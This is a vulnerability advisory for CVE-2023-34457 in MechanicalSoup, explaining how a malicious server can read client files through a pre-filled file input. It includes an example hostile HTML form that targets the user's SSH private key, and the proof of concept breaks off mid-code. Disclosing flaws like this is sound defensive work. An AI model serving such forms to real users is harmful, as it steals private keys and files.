MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
Date: 2023-07
Affected: pip/MechanicalSoup
Attack vector: other
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2023-34457
CWE: CWE-20
CVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. ### Details This affects the extremely common pattern of form submission: ```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ``` The problem is with the code in `browser.Browser.get_request_kwargs`: ```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ``` The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like: ```html <html><body> <form method="post" enctype="multipart/form-data"> <input type="text" name="greeting" value="hello" /> <input type="file" name="evil" value="/home/user/.ssh/id_rsa" /> </form> </body></html> ``` then upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key. ### PoC ```python import attr import mechanicalsoup import requests class NevermindError(Exception):


Mitigations:

Architectural layers (MAESTRO):